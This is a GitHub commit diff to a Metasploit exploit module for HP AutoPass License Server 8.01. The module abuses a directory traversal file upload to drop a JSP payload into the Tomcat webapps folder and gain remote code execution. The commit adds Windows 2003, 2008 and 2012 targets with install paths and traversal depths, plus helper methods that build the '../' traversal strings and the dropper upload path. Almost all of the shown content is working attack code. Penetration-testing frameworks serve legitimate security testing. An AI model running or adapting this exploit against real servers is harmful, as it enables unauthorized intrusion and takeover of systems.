Skip to content

Commit 604a612

Browse files
committed
Have into account differences between windows default installs
1 parent 57b1023 commit 604a612

File tree

1 file changed

+62
-8
lines changed

1 file changed

+62
-8
lines changed

modules/exploits/windows/http/hp_autopass_license_traversal.rb

Lines changed: 62 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = ExcellentRanking
9+
Rank = GreatRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::FileDropper
@@ -40,17 +40,42 @@ def initialize(info = {})
4040
'Arch' => ARCH_JAVA,
4141
'Targets' =>
4242
[
43-
['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}]
43+
['Windows 2003 SP2 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
44+
{
45+
'InstallDepth' => 4,
46+
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
47+
'WebappsDepth' => 1
48+
}
49+
],
50+
['Windows 2008 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
51+
{
52+
'InstallDepth' => 7,
53+
'InstallFolder' => '/Program Files/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server',
54+
'WebappsDepth' => 1
55+
}
56+
],
57+
['Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
58+
{
59+
'InstallDepth' => 4,
60+
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
61+
'WebappsDepth' => 1
62+
}
63+
]
4464
],
4565
'DefaultTarget' => 0,
4666
'DisclosureDate' => 'Jan 10 2014'))
4767

4868
register_options(
4969
[
5070
Opt::RPORT(5814),
51-
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']),
52-
OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]),
53-
OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1])
71+
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass'])
72+
], self.class)
73+
74+
register_advanced_options(
75+
[
76+
OptInt.new('INSTALL_DEPTH', [false, 'Traversal Depth to reach the HP AutoPass License Server folder']),
77+
OptString.new('INSTALL_FOLDER', [false, 'HP AutoPass License Server folder']),
78+
OptInt.new('WEBAPPS_DEPTH', [false, 'Traversal Depth to reach the Tomcat webapps folder'])
5479
], self.class)
5580
end
5681

@@ -99,7 +124,8 @@ def exploit
99124
# In order to execute it, through the AutoPass application we would like to drop it here:
100125
# C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts
101126
dropper_traversal = install_traversal
102-
dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}"
127+
dropper_traversal << "#{install_folder}/webapps/autopass/scripts/#{dropper_filename}"
128+
103129
res = upload_file(dropper_traversal, dropper)
104130

105131
register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}")
@@ -140,11 +166,39 @@ def exploit
140166
end
141167

142168
def webapps_traversal
143-
"../" * datastore['WEBAPPS_DEPTH']
169+
if datastore['WEBAPPS_DEPTH'] > 0
170+
depth = datastore['WEBAPPS_DEPTH']
171+
elsif target['WebappsDepth']
172+
depth = target['WebappsDepth']
173+
else
174+
depth = 1
175+
end
176+
177+
"../" * depth
144178
end
145179

146180
def install_traversal
147-
"/.." * datastore['INSTALL_DEPTH']
181+
if datastore['INSTALL_DEPTH'] > 0
182+
depth = datastore['INSTALL_DEPTH']
183+
elsif target['InstallDepth']
184+
depth = target['InstallDepth']
185+
else
186+
depth = 4
187+
end
188+
189+
"/.." * depth
190+
end
191+
192+
def install_folder
193+
if !datastore['INSTALL_FOLDER'].blank?
194+
folder = datastore['INSTALL_FOLDER']
195+
elsif target['InstallFolder']
196+
folder = target['InstallFolder']
197+
else
198+
folder = "/HP AutoPass License Server/HP AutoPass License Server"
199+
end
200+
201+
folder
148202
end
149203

150204
# Using a JSP dropper because the vulnerability doesn't allow to upload

0 commit comments

Comments
 (0)